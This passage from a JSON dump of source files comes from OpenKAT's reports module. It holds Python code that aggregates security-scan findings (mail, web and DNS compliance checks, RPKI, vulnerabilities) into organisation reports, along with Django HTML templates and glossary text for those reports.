finding_type[\"occurrences\"]:\n                    occurrence_ooi = occurrence[\"finding\"].ooi\n\n                    if occurrence_ooi not in seen_keys:\n                        seen_keys.add(occurrence_ooi)\n                        unique_occurrences.append(occurrence)\n                        findings[\"summary\"][\"total_by_severity\"][severity] += 1\n\n                finding_type[\"occurrences\"] = unique_occurrences\n                findings[\"summary\"][\"total_occurrences\"] += len(unique_occurrences)\n\n            findings[\"finding_types\"] = sorted(\n                findings[\"finding_types\"].values(), key=lambda x: x[\"finding_type\"].risk_score or 0, reverse=True\n            )\n\n        # Summary\n        basic_security[\"summary\"] = {}\n\n        for service, systems_for_service in services.items():\n            # Defaults\n            basic_security[\"summary\"][service] = {\n                \"rpki\": {\"number_of_compliant\": 0, \"total\": 0},\n                \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0, \"checks\": {}, \"ips\": {}},\n                \"safe_connections\": {\"number_of_compliant\": 0, \"total\": 0},\n            }\n\n            for ip in systems_for_service:\n                if ip not in rpki_ips:\n                    continue\n\n                basic_security[\"summary\"][service][\"rpki\"][\"number_of_compliant\"] += (\n                    1 if rpki_ips[ip][\"exists\"] and rpki_ips[ip][\"valid\"] else 0\n                )\n                basic_security[\"summary\"][service][\"rpki\"][\"total\"] += 1\n\n            for ip in systems_for_service:\n                if ip not in safe_connections_ips:\n                    continue\n\n                basic_security[\"summary\"][service][\"safe_connections\"][\"number_of_compliant\"] += (\n                    1 if not safe_connections_ips[ip] else 0\n                )\n                basic_security[\"summary\"][service][\"safe_connections\"][\"total\"] += 1\n\n            if service == SystemType.MAIL and mail_report_data:\n\n                def spf_compliant(result):\n                    return result[\"number_of_hostnames\"] == result[\"number_of_spf\"]\n\n                def dkim_compliant(result):\n                    return result[\"number_of_hostnames\"] == result[\"number_of_dkim\"]\n\n                def dmarc_compliant(result):\n                    return result[\"number_of_hostnames\"] == result[\"number_of_dmarc\"]\n\n                def is_mail_compliant(result):\n                    return all(check(result) for check in [spf_compliant, dkim_compliant, dmarc_compliant])\n\n                basic_security[\"summary\"][service][\"system_specific\"] = {\n                    \"number_of_compliant\": sum(\n                        all(is_mail_compliant(m) for m in mail_report_data[ip]) for ip in mail_report_data\n                    ),\n                    \"total\": len(mail_report_data),\n                    \"checks\": {\n                        \"SPF\": sum(all(spf_compliant(m) for m in mail_report_data[ip]) for ip in mail_report_data),\n                        \"DKIM\": sum(all(dkim_compliant(m) for m in mail_report_data[ip]) for ip in mail_report_data),\n                        \"DMARC\": sum(all(dmarc_compliant(m) for m in mail_report_data[ip]) for ip in mail_report_data),\n                    },\n                    \"ips\": {\n                        ip: sorted(\n                            {  # Flattening the finding_types field of the mail report output\n                                finding_type\n                                for mail_report in mail_report_data[ip]\n                                for finding_type in mail_report[\"finding_types\"]\n                            },\n                            reverse=True,\n                            key=lambda x: x.risk_severity,\n                        )\n                        for ip in mail_report_data\n                    },\n                }\n\n            if service == SystemType.WEB and web_report_data:\n                basic_security[\"summary\"][service][\"system_specific\"] = {\n                    \"number_of_compliant\": sum(\n                        all(result[\"web_checks\"] for result in web_report_data[ip]) for ip in web_report_data\n                    ),\n                    \"total\": len(web_report_data),\n                    \"checks\": {\n                        \"CSP Present\": sum(\n                            all(w[\"web_checks\"].has_csp for w in web_report_data[ip]) for ip in web_report_data\n                        ),\n                        \"Secure CSP Header\": sum(\n                            all(w[\"web_checks\"].has_no_csp_vulnerabilities for w in web_report_data[ip])\n                            for ip in web_report_data\n                        ),\n                        \"Redirects HTTP to HTTPS\": sum(\n                            all(w[\"web_checks\"].redirects_http_https for w in web_report_data[ip])\n                            for ip in web_report_data\n                        ),\n                        \"Offers HTTPS\": sum(\n                            all(w[\"web_checks\"].offers_https for w in web_report_data[ip]) for ip in web_report_data\n                        ),\n                        \"Has a Security.txt\": sum(\n                            all(w[\"web_checks\"].has_security_txt for w in web_report_data[ip]) for ip in web_report_data\n                        ),\n                        \"No unnecessary ports open\": sum(\n                            all(w[\"web_checks\"].no_uncommon_ports for w in web_report_data[ip])\n                            for ip in web_report_data\n                        ),\n                        \"Has a certificate\": sum(\n                            all(w[\"web_checks\"].has_certificates for w in web_report_data[ip]) for ip in web_report_data\n                        ),\n                        \"Certificate is not expired\": sum(\n                            all(w[\"web_checks\"].certificates_not_expired for w in web_report_data[ip])\n                            for ip in web_report_data\n                        ),\n                        \"Certificate is not expiring soon\": sum(\n                            all(w[\"web_checks\"].certificates_not_expiring_soon for w in web_report_data[ip])\n                            for ip in web_report_data\n                        ),\n                    },\n                    \"ips\": {\n                        ip: sorted(\n                            {  # Flattening the finding_types field of the web report output\n                                finding_type\n                                for web_report in web_report_data[ip]\n                                for finding_type in web_report[\"finding_types\"]\n                            },\n                            reverse=True,\n                            key=lambda x: x.risk_severity,\n                        )\n                        for ip in web_report_data\n                    },\n                }\n\n            if service == SystemType.DNS and dns_report_data:\n                basic_security[\"summary\"][service][\"system_specific\"] = {\n                    \"number_of_compliant\": sum(\n                        all(result[\"name_server_checks\"] for result in dns_report_data[ip]) for ip in dns_report_data\n                    ),\n                    \"total\": len(dns_report_data),\n                    \"checks\": {\n                        \"DNSSEC Present\": sum(\n                            all(n[\"name_server_checks\"].has_dnssec for n in dns_report_data[ip])\n                            for ip in dns_report_data\n                        ),\n                        \"Valid DNSSEC\": sum(\n                            all(n[\"name_server_checks\"].has_valid_dnssec for n in dns_report_data[ip])\n                            for ip in dns_report_data\n                        ),\n                        \"No unnecessary ports open\": sum(\n                            all(n[\"name_server_checks\"].no_uncommon_ports for n in dns_report_data[ip])\n                            for ip in dns_report_data\n                        ),\n                    },\n                    \"ips\": {\n                        ip: sorted(\n                            {  # Flattening the finding_types field of the dns report output\n                                finding_type\n                                for dns_report in dns_report_data[ip]\n                                for finding_type in dns_report[\"finding_types\"]\n                            },\n                            reverse=True,\n                            key=lambda x: x.risk_severity,\n                        )\n                        for ip in dns_report_data\n                    },\n                }\n\n            # Collect recommendations from findings\n            if (\n                service == SystemType.MAIL\n                and mail_report_data\n                or service == SystemType.WEB\n                and web_report_data\n                or service == SystemType.DNS\n                and dns_report_data\n            ):\n                recommendations.extend(\n                    {\n                        finding_type.recommendation\n                        for ip, finding in basic_security[\"summary\"][service][\"system_specific\"][\"ips\"].items()\n                        for finding_type in finding\n                    }\n                )\n\n        terms = list(set(terms))\n\n        recommendation_counts = {}\n\n        for recommendation in recommendations:\n            if recommendation not in recommendation_counts:\n                recommendation_counts[recommendation] = 0\n\n            recommendation_counts[recommendation] += 1\n\n        recommendations = list(set(filter(None, recommendations)))\n        total_ips = len(unique_ips)\n        total_hostnames = len(unique_hostnames)\n        total_criticals = sum(vulnerability[\"summary\"][\"total_criticals\"] for vulnerability in vulnerabilities.values())\n\n        summary = {\n            # _(\"General recommendations\"): \"\",\n            \"critical_vulnerabilities\": total_criticals,\n            \"ips_scanned\": total_ips,\n            \"hostnames_scanned\": total_hostnames,\n            # _(\"Systems found\"): total_systems,\n            # _(\"Sector of organisation\"): \"\",\n            # _(\"Basic security score compared to sector\"): \"\",\n            # _(\"Sector defined\"): \"\",\n            # _(\"Lowest security score in organisation\"): \"\",\n            # _(\"Newly discovered items since last week, october 8th 2023\"): \"\",\n            \"terms_in_report\": \", \".join(sorted(terms)),\n        }\n\n        all_findings = set()\n        for ip, ip_data in vulnerabilities.items():\n            for vulnerability, vulnerability_data in ip_data.get(\"vulnerabilities\", {}).items():\n                for finding_key in vulnerability_data.get(\"findings\", {}):\n                    all_findings.add(finding_key)\n\n        config_oois = self.octopoes_api_connector.list_objects(types={Config}, valid_time=valid_time).items\n\n        flattened_health = flatten_health(get_rocky_health(organization_code, self.octopoes_api_connector))\n\n        return {\n            \"systems\": systems,\n            \"services\": services,\n            \"recommendations\": recommendations,\n            \"recommendation_counts\": recommendation_counts,\n            \"open_ports\": open_ports,\n            \"ipv6\": ipv6,\n            \"vulnerabilities\": vulnerabilities,\n            \"findings\": findings,\n            \"basic_security\": basic_security,\n            \"summary\": summary,\n            \"total_findings\": len(all_findings),\n            \"total_systems\": total_ips,\n            \"total_hostnames\": total_hostnames,\n            \"total_systems_basic_security\": total_systems_basic_security,\n            \"health\": [health.model_dump() for health in flattened_health],\n            \"config_oois\": config_oois,\n        }\n\n    def collect_system_specific_data(\n        self, data: dict, services: dict, system_type: str, report_id: str\n    ) -> dict[str, Any]:\n        \"\"\"Given a system, return a list of report data from the right sub-reports based on the related report_id\"\"\"\n\n        report_data: dict[str, Any] = {}\n\n        for service, systems_for_service in services.items():\n            # Search for reports where the input ooi relates to the current service, based on ip or hostname\n            for ip, system_for_service in systems_for_service.items():\n                # Assumes relevant hostnames have an ip address for now\n                if ip not in report_data:\n                    report_data[ip] = []\n\n                if ip in data and report_id in data[str(ip)] and system_type == service:\n                    report_data[ip].append(data[str(ip)][report_id])\n\n                for hostname in system_for_service[\"hostnames\"]:\n                    if str(hostname) in data and report_id in data[str(hostname)] and system_type == service:\n                        report_data[ip].append(data[str(hostname)][report_id])\n\n        report_data = {key: value for key, value in report_data.items() if value}\n\n        return report_data\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/rpki.html",
    "content": "{% load i18n %}\n\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        This section contains basic security information about resource public key\n        infrastructure. If your web server employs RPKI for its IP addresses and\n        associated nameservers, then it enhances visitor protection against\n        misconfigurations and malicious route intercepts through verified route\n        announcements, ensuring reliable server access and secure internet traffic.\n    {% endblocktranslate %}\n</p>\n{% for system_type, system in data.basic_security.rpki.items %}\n    {% if system %}\n        {% include \"rpki_report/report.html\" with data=system type=system_type %}\n\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/safe_connections.html",
    "content": "{% load i18n %}\n\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        In this chapter we check if the connections of all the IP ports of the system are safe.\n        Safe connections are important to prevent unauthorised access and data breaches. Strong\n        ciphers are crucial because they ensure strong encryption which protects the data from\n        interception during communiction.\n    {% endblocktranslate %}\n</p>\n{% for system_type, system in data.basic_security.safe_connections.items %}\n    {% if system %}\n        {% include \"safe_connections_report/report.html\" with data=system type=system_type %}\n\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/summary.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<section id=\"summary\">\n    <div>\n        <h2>{% translate \"Summary\" %}</h2>\n        <dl>\n            <div>\n                <dt>{% translate \"Critical Vulnerabilities\" %}</dt>\n                <dd>\n                    {{ data.critical_vulnerabilities }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"IPs scanned\" %}</dt>\n                <dd>\n                    {{ data.ips_scanned }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"Hostnames scanned\" %}</dt>\n                <dd>\n                    {{ data.hostnames_scanned }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"Terms in report\" %}</dt>\n                <dd>\n                    {{ data.terms_in_report }}\n                </dd>\n            </div>\n        </dl>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/system_specific.html",
    "content": "{% load i18n %}\n\n<h4 id=\"system-specific-{{ type }}\">{{ type }} {% translate \"server\" %}</h4>\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        This table shows which checks were performed. Following that, the compliance\n        issues, if any, are shown for each {{ type }} Server.\n    {% endblocktranslate %}\n</p>\n<div class=\"horizontal-scroll\">\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Check overview\" %}</caption>\n        <thead>\n            <tr>\n                <th>{% translate \"Check\" %}</th>\n                <th>{% translate \"Compliance\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for check, value in data.checks.items %}\n                <tr>\n                    <td>{{ check }}</td>\n                    <td>\n                        {% if value != data.total %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ value }}/{{ data.total }} {% translate \"IPs are compliant\" %}\n                    </td>\n                </tr>\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n{% for ip, findings in data.ips.items %}\n    {% if findings %}\n        <h5>{% translate \"Host:\" %} {{ ip|human_readable }}</h5>\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Compliance issue\" %}</th>\n                    <th>{% translate \"Risk level\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for finding_type in findings %}\n                    <tr>\n                        <td>\n                            {% if finding_type.description %}\n                                {{ finding_type.description }}\n                            {% else %}\n                                {{ finding_type.id }}\n                            {% endif %}\n                        </td>\n                        <td>\n                            <span class=\"{{ finding_type.risk_severity }}\">{{ finding_type.risk_severity|capfirst }}</span>\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/system_specific_overview.html",
    "content": "{% load i18n %}\n\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        This is where checks are done that are specific to system types. Different security\n        and compliance issues come into play for different systems. They are listed here\n        under each other.\n    {% endblocktranslate %}\n</p>\n{% for check, system in data.basic_security.summary.items %}\n    {% if system.system_specific.checks or system.system_specific.ips %}\n        {% include \"aggregate_organisation_report/system_specific.html\" with data=system.system_specific type=check %}\n\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/term_overview.html",
    "content": "{% load i18n %}\n\n<section id=\"term-overview\">\n    <div>\n        <h3>{% translate \"Term Overview\" %}</h3>\n        <p>{% translate \"For definitions of terms used in this chapter, see the glossary below.\" %}</p>\n        <ul class=\"accordion\">\n            <li>\n                <button id=\"definition-asset\" aria-expanded=\"false\">Asset</button>\n                <div aria-labelledby=\"definition-asset\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Web servers and domains are examples of digital assets within this framework.\n                            Web servers are essential for hosting and serving websites or web applications,\n                            while domains represent the online addresses used to access these resources.\n                            Other examples of assets in the IT realm include databases, user accounts,\n                            software applications, and networking infrastructure. Asset management is a\n                            critical aspect of cybersecurity, involving the identification, classification,\n                            and protection of these assets to safeguard against threats and ensure the overall\n                            security and functionality of an organization's IT environment.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n            <li>\n                <button id=\"definition-system\">System</button>\n                <div aria-labelledby=\"definition-system\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Multiple hostnames that resolve to one IP address where at least one\n                            of the hostnames or the IP address has a declared scan level that is at least L1.\n                            Type systems are web servers, mail servers and name servers (DNS).\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n            <li>\n                <button id=\"definition-webserver\">Webserver</button>\n                <div aria-labelledby=\"definition-webserver\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            A fundamental component of the client-server model. A web server uses protocols\n                            like HTTP or HTTPS to facilitate communication between clients and the server.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n            <li>\n                <button id=\"definition-mailserver\">Mailserver</button>\n                <div aria-labelledby=\"definition-mailserver\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            A mail server is a specialized software application or hardware device that facilitates\n                            the sending, receiving, and storage of emails within a computer network.\n                            Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing messages and\n                            either Internet Message Access Protocol (IMAP) or Post Office Protocol (POP) for\n                            incoming messages, a mail server manages email communication by routing messages between\n                            users and storing them until they are retrieved. The server ensures the efficient and\n                            secure transfer of emails, handling tasks such as authentication, spam filtering, and\n                            message storage.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n            <li>\n                <button id=\"definition-nameserver\">Nameserver</button>\n                <div aria-labelledby=\"definition-nameserver\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            A nameserver, or Domain Name System (DNS) server, is a critical component of the internet\n                            infrastructure responsible for translating human-readable domain names into IP addresses,\n                            enabling the seamless navigation of the web. When a user enters a domain name in a web browser,\n                            the nameserver is queried to obtain the corresponding IP address of the server hosting the associated\n                            website or service.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n            <li>\n                <button id=\"definition-dicom\">DICOM server</button>\n                <div aria-labelledby=\"definition-dicom\">\n                    <p>\n                        {% blocktranslate trimmed %}\n                            A DICOM server, which stands for Digital Imaging and Communications in Medicine,\n                            is a specialized server designed for the storage, retrieval, and exchange of medical images and\n                            related information in the healthcare industry. DICOM is a widely adopted standard that ensures\n                            interoperability and consistency in the communication of medical images and associated data among\n                            different devices and systems, such as medical imaging equipment, picture archiving and\n                            communication systems (PACS), and radiology information systems (RIS). DICOM servers store and\n                            manage patient-specific medical images, like X-rays, CT scans, and MRIs, utilizing a standardized format.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </li>\n        </ul>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/vulnerabilities.html",
    "content": "{% load i18n %}\n\n{% if not report_section %}\n    <div>\n        <h3>{% translate \"Vulnerabilities\" %}</h3>\n        <p class=\"toggle-item\" data-show=\"off\">{% translate \"Vulnerabilities found are grouped per system.\" %}</p>\n    </div>\n{% endif %}\n{% if not data.vulnerabilities %}\n    <p>{% translate \"No CVEs have been found.\" %}</p>\n{% else %}\n    {% include \"vulnerability_report/report.html\" with data=data.vulnerabilities %}\n\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/concatenated_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/concatenated_report/report.py",
    "content": "from django.utils.translation import gettext_lazy as _\n\nfrom reports.report_types.definitions import Report\n\n\nclass ConcatenatedReport(Report):\n    \"\"\"\n    Since the database only takes one report type for each report, we introduced the ConcatenatedReport class.\n    This class is only used inside the code, to represent multiple reports placed below each other.\n    \"\"\"\n\n    id = \"concatenated-report\"\n    name = _(\"Report\")\n    description = \"A Concatenated Report shows multiple reports placed below each other in a single report.\"\n    label_style = \"5-light\"\n"
  },
  {
    "path": "rocky/reports/report_types/definitions.py",
    "content": "from collections.abc import Callable, Iterable\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import Any, TypedDict, TypeVar\n\nfrom django.utils.functional import Promise\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom octopoes.models.types import OOIType\n\nREPORTS_DIR = Path(__file__).parent\n\n\nclass ReportPlugins(TypedDict):\n    required: set[str]\n    optional: set[str]\n\n\ndef report_plugins_union(report_types: list[type[\"BaseReport\"]]) -> ReportPlugins:\n    \"\"\"Take the union of the required and optional plugin sets and remove optional plugins that are required\"\"\"\n\n    plugins: ReportPlugins = {\"required\": set(), \"optional\": set()}\n\n    for report_type in report_types:\n        plugins[\"required\"].update(report_type.plugins[\"required\"])\n        plugins[\"optional\"].update(report_type.plugins[\"optional\"])\n        plugins[\"optional\"].difference_update(report_type.plugins[\"required\"])\n\n    return plugins\n\n\nclass BaseReport:\n    id: str\n    name: Promise\n    description: Promise\n    template_path: str = \"report.html\"\n    plugins: ReportPlugins\n    input_ooi_types: set[type[OOI]]\n    label_style = \"1-light\"  # default/fallback color\n\n    def __init__(self, octopoes_api_connector: OctopoesAPIConnector):\n        self.octopoes_api_connector = octopoes_api_connector\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        raise NotImplementedError\n\n    @classmethod\n    def class_attributes(cls) -> dict[str, Any]:\n        return {\n            \"id\": cls.id,\n            \"name\": cls.name,\n            \"description\": cls.description,\n            \"plugins\": cls.plugins,\n            \"input_ooi_types\": cls.input_ooi_types,\n            \"template_path\": cls.template_path,\n            \"label_style\": cls.label_style,\n        }\n\n\nBaseReportType = TypeVar(\"BaseReportType\", bound=\"BaseReport\")\n\n\nclass Report(BaseReport):\n    def generate_data(self, input_ooi: str, valid_time: datetime) -> dict[str, Any]:\n        raise NotImplementedError\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        \"\"\"Generate data for multiple OOIs. Child classes can override this method to improve performance.\"\"\"\n\n        return {input_ooi: self.generate_data(input_ooi, valid_time) for input_ooi in input_oois}\n\n    @staticmethod\n    def group_by_source(\n        query_result: list[tuple[str, OOIType]], check: Callable[[OOIType], bool] | None = None\n    ) -> dict[str, list[OOIType]]:\n        \"\"\"Transform a query-many result from [(ref1, obj1), (ref1, obj2), ...] into {ref1: [obj1, obj2], ...}\"\"\"\n\n        result: dict[str, list[OOIType]] = {}\n\n        for source, ooi in query_result:\n            if source not in result:\n                result[source] = []\n\n            if not check or check(ooi):\n                result[source].append(ooi)\n\n        return result\n\n    @staticmethod\n    def group_finding_types_by_source(\n        query_result: list[tuple[str, OOIType]], keep_ids: list[str] | None = None\n    ) -> dict[str, list[OOIType]]:\n        if keep_ids:\n            return Report.group_by_source(query_result, lambda x: x.id in keep_ids)\n\n        return Report.group_by_source(query_result)\n\n    def to_hostnames(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, list[Reference]]:\n        \"\"\"\n        Turn a list of either Hostname and IPAddress references into a list of related hostnames, grouped by input ooi.\n\n        If an input ooi is an IP without hostnames, the key will still be present but the list will be empty.\n        \"\"\"\n\n        hostnames_by_input_ooi = {ref: [ref] if ref.class_type == Hostname else [] for ref in input_oois}\n        ip_refs = [ref for ref in input_oois if ref.class_type in (IPAddressV4, IPAddressV6)]\n\n        for input_ooi, ip_hostname in self.octopoes_api_connector.query_many(\n            \"IPAddress.<address[is ResolvedHostname].hostname\", valid_time, ip_refs\n        ):\n            if input_ooi not in hostnames_by_input_ooi:\n                hostnames_by_input_ooi[Reference.from_str(input_ooi)] = []\n\n            hostnames_by_input_ooi[Reference.from_str(input_ooi)].append(ip_hostname.reference)\n\n        return hostnames_by_input_ooi\n\n    @staticmethod\n    def hostnames_to_human_readable(hostnames_by_input_ooi: dict) -> dict[str, str]:\n        \"\"\"Converts input_oois to human readable hostname strings.\n\n        Turns a list of either Hostname and IPAddress references into a string\n        of shortest related hostname and indication on more hostnames present,\n        grouped by input ooi.\n        \"\"\"\n        return {\n            input_ooi: (\n                f'({min([h.human_readable for h in hostnames], key=len)}{\", ...\" if len(hostnames) > 1 else \"\"})'\n                if hostnames\n                else \"\"\n            )\n            for input_ooi, hostnames in hostnames_by_input_ooi.items()\n        }\n\n    def to_ips(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, list[Reference]]:\n        \"\"\"\n        Turn a list of either Hostname and IPAddress reference strings into a list of related ips.\n\n        If an input ooi is a Hostname without ips, the key will still be present but the list will be empty.\n        \"\"\"\n\n        ips_by_input_ooi = {ref: [ref] if ref.class_type in [IPAddressV4, IPAddressV6] else [] for ref in input_oois}\n        hostname_refs = [ref for ref in input_oois if ref.class_type == Hostname]\n\n        for input_ooi, hostname_ip in self.octopoes_api_connector.query_many(\n            \"Hostname.<hostname[is ResolvedHostname].address\", valid_time, hostname_refs\n        ):\n            if input_ooi not in ips_by_input_ooi:\n                ips_by_input_ooi[Reference.from_str(input_ooi)] = []\n\n            ips_by_input_ooi[Reference.from_str(input_ooi)].append(hostname_ip.reference)\n\n        return ips_by_input_ooi\n\n\nclass MultiReport(BaseReport):\n    def post_process_data(self, data: dict[str, Any]) -> dict[str, Any]:\n        raise NotImplementedError\n\n\nclass AggregateReportSubReports(TypedDict):\n    required: list[type[Report]]\n    optional: list[type[Report]]\n\n\nclass AggregateReport(BaseReport):\n    reports: AggregateReportSubReports\n\n    def post_process_data(self, data: dict[str, Any], valid_time: datetime, organization_code: str) -> dict[str, Any]:\n        raise NotImplementedError\n\n\nclass ReportType(TypedDict):\n    id: str\n    name: str\n    description: str\n    label_style: str\n"
  },
  {
    "path": "rocky/reports/report_types/dns_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/dns_report/report.html",
    "content": "{% load i18n %}\n\n<h3>{% translate \"Records found\" %}</h3>\n{% if data.records %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            The DNS report gives an overview of the DNS records that were found\n            for the DNSZone. Additionally the security measures table shows whether\n            or not DNS relating security measures are enabled.\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Records found\" %}</caption>\n            <p class=\"toggle-item\" data-show=\"off\">\n                {% blocktranslate trimmed %}\n                    <strong>Disclaimer:</strong>\n                    Not all DNSRecords are parsed in OpenKAT.\n                    DNS record types that are parsed and could be displayed in the table are:\n                {% endblocktranslate %}\n                A, AAAA, CAA, CNAME, NS, MX, PTR, SOA, SRV, TXT.\n            </p>\n            <div class=\"nota-bene toggle-item\" data-show=\"off\">\n                <span>{% translate \"All existing DNS record types can be found here:\" %}\n                    <a class=\"nota-bene\"\n                       href=\"https://en.wikipedia.org/wiki/List_of_DNS_record_types\"\n                       target=\"_blank\"\n                       rel=\"noopener noreferrer\">https://en.wikipedia.org/wiki/List_of_DNS_record_types</a>\n                </span>\n            </div>\n            <thead>\n                <tr>\n                    <th>{% translate \"Record\" %}</th>\n                    <th>{% translate \"Name\" %}</th>\n                    <th>{% translate \"TTL\" %}</th>\n                    <th>{% translate \"Data\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for ooi in data.records %}\n                    <tr>\n                        <td>{{ ooi.type }}</td>\n                        <td>{{ ooi.name }}</td>\n                        <td class=\"nowrap\">{{ ooi.ttl }} {% translate \"minutes\" %}</td>\n                        <td>{{ ooi.content }}</td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% else %}\n    <p>{% translate \"No records have been found.\" %}</p>\n{% endif %}\n<h3>{% translate \"Security measures\" %}</h3>\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        The security measures table below shows which DNS relating security\n        measures are enabled based on the contents of the DNS records.\n    {% endblocktranslate %}\n</p>\n<div class=\"horizontal-scroll\">\n    <div class=\"column-3\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Security measures\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Enabled\" %}</th>\n                    <th>{% translate \"Type\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>\n                        {% if data.security.spf %}\n                            <i class=\"icon positive\"></i>{% translate \"Yes\" %}\n                        {% else %}\n                            <i class=\"icon alert\"></i>{% translate \"No\" %}\n                        {% endif %}\n                    </td>\n                    <td>SPF</td>\n                </tr>\n                <tr>\n                    <td>\n                        {% if data.security.dmarc %}\n                            <i class=\"icon positive\"></i>{% translate \"Yes\" %}\n                        {% else %}\n                            <i class=\"icon alert\"></i>{% translate \"No\" %}\n                        {% endif %}\n                    </td>\n                    <td>DMARC</td>\n                </tr>\n                <tr>\n                    <td>\n                        {% if data.security.dkim %}\n                            <i class=\"icon positive\"></i>{% translate \"Yes\" %}\n                        {% else %}\n                            <i class=\"icon alert\"></i>{% translate \"No\" %}\n                        {% endif %}\n                    </td>\n                    <td>DKIM</td>\n                </tr>\n                <tr>\n                    <td>\n                        {% if data.security.dnssec %}\n                            <i class=\"icon positive\"></i>{% translate \"Yes\" %}\n                        {% else %}\n                            <i class=\"icon alert\"></i>{% translate \"No\" %}\n                        {% endif %}\n                    </td>\n                    <td>DNSSEC</td>\n                </tr>\n                <tr>\n                    <td>\n                        {% if data.security.caa %}\n                            <i class=\"icon positive\"></i>{% translate \"Yes\" %}\n                        {% else %}\n                            <i class=\"icon alert\"></i>{% translate \"No\" %}\n                        {% endif %}\n                    </td>\n                    <td>CAA</td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n</div>\n{% if data.finding_types %}\n    <h3>{% translate \"Other findings found\" %}</h3>\n    <div class=\"horizontal-scroll sticky-column\">\n        <table class=\"nowrap\">\n            <caption class=\"visually-hidden\">{% translate \"Other findings found\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Severity\" %}</th>\n                    <th scope=\"col\">{% translate \"Finding\" %}</th>\n                    <th scope=\"col\" class=\"actions\">{% translate \"Details\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for info in data.finding_types %}\n                    <tr>\n                        <td>\n                            <span class=\"{{ info.finding_type.risk_severity }}\">{{ info.finding_type.risk_severity|capfirst }}</span>\n                        </td>\n                        <td>{{ info.finding_type.id }}</td>\n                        <td class=\"actions sticky-cell\">\n                            <button class=\"expando-button\"\n                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                {% translate \"Open details\" %}\n                            </button>\n                        </td>\n                    </tr>\n                    <tr class=\"expando-row\">\n                        <td colspan=\"5\">\n                            <h4>{% translate \"Findings information\" %}</h4>\n                            <dl>\n                                <div>\n                                    <dt>{% translate \"Finding\" %}</dt>\n                                    <dd>\n                                        {{ info.finding_type.primary_key }}\n                                    </dd>\n                                </div>\n                                <div>\n                                    <dt>{% translate \"Description\" %}</dt>\n                                    <dd>\n                                        {{ info.finding_type.description }}\n                                    </dd>\n                                </div>\n                            </dl>\n                            <h4>{% translate \"Occurrences\" %}</h4>\n                            {% for occurrence in info.occurrences %}\n                                <div>\n                                    <strong>{{ occurrence.ooi|human_readable }}</strong>\n                                    <p>{{ occurrence.description }}</p>\n                                </div>\n                            {% 